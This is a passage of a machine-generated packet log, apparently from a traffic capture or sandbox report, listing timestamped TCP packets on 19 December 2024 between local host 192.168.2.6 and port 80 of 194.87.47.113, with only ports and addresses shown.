Dec 19, 2024 08:09:38.069144964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.069186926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.070148945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.070215940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.070239067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.071155071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.071304083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.071423054 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.072221041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.072426081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.072433949 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.073276997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.073374987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.073402882 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.074353933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.074450016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.074546099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.075400114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.075508118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.075532913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.076438904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.076574087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.076689959 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.077476025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.077589989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.077594042 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.078536987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.078639984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.078672886 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.079587936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.079699993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.079788923 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.080667019 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.080811024 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.080852985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.081710100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.081828117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.081857920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.082745075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.082875967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.082882881 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.083812952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.083930969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.084112883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.084886074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.084997892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.085988998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.086015940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.086018085 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.086250067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.086968899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.087090969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.087095022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.088025093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.088097095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.088149071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.089134932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.089277983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.089418888 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.090157032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.090256929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.090285063 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.091248035 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.091346025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.091357946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.092238903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.092302084 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.092364073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.093286037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.093399048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.093416929 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.094345093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.094423056 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.094458103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.095412016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.095468044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.095494986 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.096429110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.096595049 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.130758047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.130794048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.130889893 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.131228924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.131345987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.131701946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.132272959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.132392883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.133481026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.133536100 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.133606911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.134396076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.134465933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.134488106 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.134856939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.135442019 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.135571003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.136531115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.136543036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.136558056 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.136672974 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.171269894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.171380043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.171490908 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.171775103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.171909094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.172086000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.172830105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.172929049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.173043013 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.173876047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.173984051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.174127102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.174949884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.175041914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.175591946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.175995111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.176068068 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.176820993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.177048922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.177134991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.178083897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.178113937 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.178165913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.179182053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.179270983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.179294109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.179544926 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.180304050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.180346012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.181158066 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.251013041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.251180887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.251277924 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.251741886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.251822948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.252473116 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.252542019 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.252968073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.253134012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.253465891 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.254003048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.254095078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.254234076 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.255085945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.255186081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.255362988 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.256119013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.256232023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.256257057 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.257153034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.257332087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.257469893 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.258249044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.258344889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.258764029 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.259274006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.259305000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.259346962 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.260354996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.260462046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.260565996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.261410952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.261482000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.262423038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.262535095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.262568951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.263485909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.263562918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.263598919 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.264533997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.264645100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.264676094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.265583038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.265703917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.265738964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.266657114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.266716003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.266812086 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.267821074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.267973900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.268016100 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.268769026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.268872023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.268973112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.269810915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.270081997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.270108938 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.270858049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.270944118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.271276951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.271914959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.272037029 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.272064924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.272963047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.273051977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.273176908 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.274045944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.274241924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.274631023 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.275084972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.275140047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.275963068 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.276124001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.276262045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.276364088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.277199984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.277318954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.277470112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.278238058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.278340101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.278364897 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.279321909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.279417038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.279719114 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.280332088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.280462980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.280488968 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.281449080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.281578064 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.281595945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.282484055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.282596111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.282597065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.283493042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.283618927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.283724070 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.284571886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.284668922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.284792900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.285624981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.285727024 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.285753965 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.286679983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.286781073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.286808014 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.287725925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.287826061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.287853956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.288794041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.289055109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.323137045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.323184013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.323435068 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.323493958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.323616028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.323797941 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.324583054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.324701071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.324769020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.325701952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.325752974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.325841904 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.326668978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.326689005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.326817989 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.327729940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.327843904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.328794956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.328926086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.328957081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.330676079 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.363480091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.363631010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.363709927 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.363997936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.364068031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.364118099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.365076065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.365171909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.365231037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.366137981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.366213083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.366260052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.367194891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.367227077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.367413044 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.368284941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.368360043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.368418932 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.369311094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.369380951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.369491100 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.370357990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.370376110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.370424986 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.371397972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.371467113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.371512890 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.372436047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.372538090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.372694016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.443303108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.443412066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.443470955 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.443823099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.443917990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.443984032 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.444591045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.444699049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.444746971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.445643902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.445764065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.445816994 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.446693897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.446834087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.447206020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.447751045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.447865009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.447921038 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.448841095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.448929071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.449115992 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.449856997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.450001001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.450107098 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.450925112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.451065063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.451141119 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.451982021 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.452088118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.452138901 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.453039885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.453129053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.453175068 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.454093933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.454237938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.454293013 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.455140114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.455228090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.455276966 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.456178904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.456305027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.456377983 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.457251072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.457359076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.457483053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.458286047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.458405018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.458448887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.459342003 CET	80	49862	194.87.47.113	192.168.2.6
